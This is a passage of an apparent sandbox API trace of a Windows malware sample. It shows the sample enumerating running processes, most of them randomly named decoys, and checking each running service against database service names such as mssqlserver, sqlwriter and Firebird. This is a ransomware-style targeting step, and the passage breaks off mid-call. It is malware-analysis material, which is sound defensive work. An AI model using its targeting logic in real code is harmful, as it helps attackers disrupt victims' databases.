hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0192.833] lstrlenW (lpString="spoolsv.exe") returned 11 [0192.833] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.834] lstrlenW (lpString="svchost.exe") returned 11 [0192.834] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.835] lstrlenW (lpString="svchost.exe") returned 11 [0192.835] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0192.850] lstrlenW (lpString="audiodg.exe") returned 11 [0192.850] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0192.851] lstrlenW (lpString="sihost.exe") returned 10 [0192.851] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.851] lstrlenW (lpString="svchost.exe") returned 11 [0192.851] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0192.852] lstrlenW (lpString="taskhostw.exe") returned 13 [0192.852] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0192.853] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0192.853] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0192.854] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0192.854] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0192.855] lstrlenW (lpString="explorer.exe") returned 12 [0192.855] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0192.856] lstrlenW (lpString="Memory Compression") returned 18 [0192.856] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0192.857] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0192.857] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0192.858] lstrlenW (lpString="SearchUI.exe") returned 12 [0192.858] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0192.859] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0192.859] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0192.860] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0192.860] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0192.861] lstrlenW (lpString="entering.exe") returned 12 [0192.861] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0192.861] lstrlenW (lpString="literally.exe") returned 13 [0192.861] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0192.862] lstrlenW (lpString="prep.exe") returned 8 [0192.862] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0192.913] lstrlenW (lpString="homeless.exe") returned 12 [0192.913] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0192.914] lstrlenW (lpString="tips.exe") returned 8 [0192.914] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0192.915] lstrlenW (lpString="rhode_cow.exe") returned 13 [0192.915] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0192.916] lstrlenW (lpString="discount.exe") returned 12 [0192.916] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0192.916] lstrlenW (lpString="littleclosest.exe") returned 17 [0192.917] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0192.917] lstrlenW (lpString="compact.exe") returned 11 [0192.917] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0192.918] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0192.918] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0192.919] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0192.919] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0192.920] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0192.920] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0192.921] lstrlenW (lpString="vincentkills.exe") returned 16 [0192.921] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0192.922] lstrlenW (lpString="armstrong.exe") returned 13 [0192.922] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0192.923] lstrlenW (lpString="superb_guilty.exe") returned 17 [0192.923] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0192.924] lstrlenW (lpString="conditional employer.exe") returned 24 [0192.924] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0192.925] lstrlenW (lpString="middle shown.exe") returned 16 [0192.925] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0192.926] lstrlenW (lpString="forced_online.exe") returned 17 [0192.926] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0192.927] lstrlenW (lpString="knitting.exe") returned 12 [0192.927] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0192.927] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0192.927] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0192.928] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0192.928] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0192.930] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0192.930] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.931] lstrlenW (lpString="svchost.exe") returned 11 [0192.931] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0192.932] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0192.932] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0192.933] lstrlenW (lpString="conhost.exe") returned 11 [0192.933] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0192.934] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0192.934] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0192.935] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0192.935] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0192.936] lstrlenW (lpString="WMIADAP.exe") returned 11 [0192.936] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0192.937] lstrlenW (lpString="11.exe") returned 6 [0192.937] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0192.938] lstrlenW (lpString="cmd.exe") returned 7 [0192.938] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0192.954] lstrlenW (lpString="conhost.exe") returned 11 [0192.954] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0192.955] CloseHandle (hObject=0x28c) returned 1 [0192.955] Sleep (dwMilliseconds=0x1f4) [0194.237] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7c5810 [0194.237] EnumServicesStatusExW (in: hSCManager=0x7c5810, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0194.237] GetLastError () returned 0xea [0194.237] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x7e3ef8 [0194.237] EnumServicesStatusExW (in: hSCManager=0x7c5810, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e3ef8, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e3ef8, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0194.238] CloseServiceHandle (hSCObject=0x7c5810) returned 1 [0194.238] lstrlenW (lpString="Appinfo") returned 7 [0194.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0194.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0194.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0194.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0194.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0194.238] lstrlenW (lpString="AppXSvc") returned 7 [0194.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0194.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0194.238] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0194.239] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0194.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0194.239] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0194.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0194.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0194.239] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0194.239] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0194.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0194.239] lstrlenW (lpString="Audiosrv") returned 8 [0194.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0194.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0194.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0194.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0194.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0194.239] lstrlenW (lpString="BFE") returned 3 [0194.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0194.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0194.239] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0194.239] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0194.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0194.239] lstrlenW (lpString="BITS") returned 4 [0194.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0194.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0194.239] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0194.239] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0194.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0194.239] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0194.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0194.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0194.239] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0194.239] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0194.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0194.240] lstrlenW (lpString="CDPSvc") returned 6 [0194.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0194.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0194.240] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0194.240] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0194.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0194.240] lstrlenW (lpString="ClickToRunSvc") returned 13 [0194.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0194.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0194.240] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0194.240] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0194.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0194.240] lstrlenW (lpString="ClipSVC") returned 7 [0194.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0194.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0194.240] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0194.240] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0194.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0194.240] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0194.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0194.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0194.240] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0194.240] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0194.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0194.240] lstrlenW (lpString="CryptSvc") returned 8 [0194.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0194.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0194.240] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0194.240] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0194.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0194.241] lstrlenW (lpString="DcomLaunch") returned 10 [0194.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0194.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0194.241] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0194.241] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0194.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0194.241] lstrlenW (lpString="Dhcp") returned 4 [0194.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0194.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0194.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0194.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0194.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0194.241] lstrlenW (lpString="Dnscache") returned 8 [0194.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0194.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0194.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0194.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0194.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0194.241] lstrlenW (lpString="DoSvc") returned 5 [0194.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0194.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0194.241] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0194.241] lstrcmpiW (lpString1="mssqlserver", 